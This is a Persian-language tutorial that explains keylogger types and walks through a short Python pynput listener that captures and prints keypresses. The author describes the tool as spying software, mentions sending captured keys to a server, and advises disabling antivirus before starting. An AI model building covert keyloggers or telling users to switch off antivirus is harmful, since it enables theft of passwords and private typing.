خب، اول از همه کیلاگر چیه؟
از اسمش هم معلومه، وسیله ای برای ذخیره کردن کلید های فشرده شده در کیبورده، یعنی به صورتی کار میکنه که با فشرده شدن یک کلید در کیبرد (یا کیبورد؟) اون کلید رو ذخیره میکنه در یک فایل تا بعدا برای سرور ارسالش کنه - البته مگه مرض داره خب همون موقع ارسال میکنه - ولی چه نوع هایی داره و چطور میشه یکی نوشت؟
کیلاگر ها 2 نوع هستند
- دیجیتالی: این کیلاگر ها با زبان های برنامه نویسی نوشته میشن و نیاز به دانش در زمینه الکترونیک ندارن، به کیبورد هم دسترسی ندارن، بلکه اگر دکمه فشرده بشه با نرم افزار میفهمن
- نوع دوم به صورت سخت افزاری هستن، به صوری که در کیبورد جای گذاری میشن یا در فلش پنهان، و مستقیم از خود کیبورد جاسوسی میکنن.
نوع اول از نظری بهتره، چون میتونه با کیبرد های لیزری و... هم جاسوسی کنه.
نوع دوم از نظر آنتی ویروس محفوظه اما نوشتنش کمی سخته(اگر نگیم غیرممکنه!)
البته قبل از آموزش آنتی ویروس ویندوز یا خودتون رو غیرفعال کنید، من یک کیلاگر نوشتم زد پاکش کرد.
خب، بریم که باهم یکی بسازیم.
از زبان شیرین پایتون استفاده میکنیم.
اول از همه کتابخانه ی pynput
pip install pynpuو بعد واردش میکنیم.
from pynput.keyboard import Listenerحالا نیاز داریم که یک تابع برای انجام کاری با اون کلید بنویسیم: تابع کلید رو دریافت میکنه و کاری که میخوایم رو انجام میده باهاش(ارسال به سرور و از این داستانا)
def key_log(key):
try:
print(key.char)
except:
print(key)
# اینجا ما پرینتش میکنیمحالا نوبت pynput -ه باید به تابعی که نوشتیم وصلش کنیم.
def keyboard():
with Listener(on_press=key_log) as lstn:
lstn.join()
keyboard()و تمام!
حالا شما یک کیلاگر دیجیتالی دارید!
